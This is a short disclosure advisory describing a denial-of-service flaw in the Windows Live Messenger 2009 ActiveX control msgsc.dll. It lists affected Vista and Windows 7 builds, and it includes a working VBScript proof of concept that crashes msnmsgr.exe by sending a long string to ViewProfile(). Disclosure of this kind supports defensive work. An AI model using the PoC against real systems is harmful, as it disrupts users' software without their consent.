Windows Live Messenger 2009 Denial Of Service

`Product:  
Windows Live Messenger 2009 (Build 14.0.8089.726)  
  
  
********************************************************************************  
Vulnerability:  
ActiveX - Denial of Service  
  
  
********************************************************************************  
Discussion:  
Vulnerability is in Activex Control(msgsc.14.0.8089.726.dll)   
Sending a string to ViewProfile() , cause a crash on msnmsgr.exe  
*must be signed in Msn Messenger account for triggerin the vulnerability.  
  
  
  
********************************************************************************  
Vulnerable:  
Windows Live Messenger 2009 on Windows Vista  
Windows Live Messenger 2009 on Windows 7  
  
Not Vulnerable:  
Windows Live Messenger 2009 on Windows XP  
  
Credits:  
HACKATTACK IT SECURITY GmbH  
Penetration Testing in Deutschland - Österreich - Schweiz  
www.hackattack.com  
  
and  
  
Natal Networks Inc.  
Vulnerability Discovery, Penetration Testing, IT Security Consulting  
www.natalnetworks.com  
  
  
********************************************************************************  
  
Original Advisory  
www.hackattack.com  
www.natalnetworks.com  
  
  
********************************************************************************  
PoC .wsf script:  
'works on vista and windows7  
  
<package>  
  
<job id='DoneInVBS' debug='false' error='true'>  
  
<object classid='clsid:B69003B3-C55E-4B48-836C-BC5946FC3B28' id='target' />  
  
<script language='vbscript'>  
  
arg1=("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")  
  
target.ViewProfile arg1   
  
</script>  
  
</job>  
  
</package>  
  
  
  
About HACKATTACK and Natal Networks  
================  
HACKATTACK IT SECURITY GmbH is a Penetrationtest and Security Auditing company located in Germany and Austria  
More Information about HACKATTACK at  
http://www.hackattack.com  
  
Natal Networks was founded by Hellcode Research Team in 2009.  
Main mission of Natal Network is discover and research vulnerabilities.  
Providing penetration tests and security auditing services.  
More about; www.natalnetworks.com  
`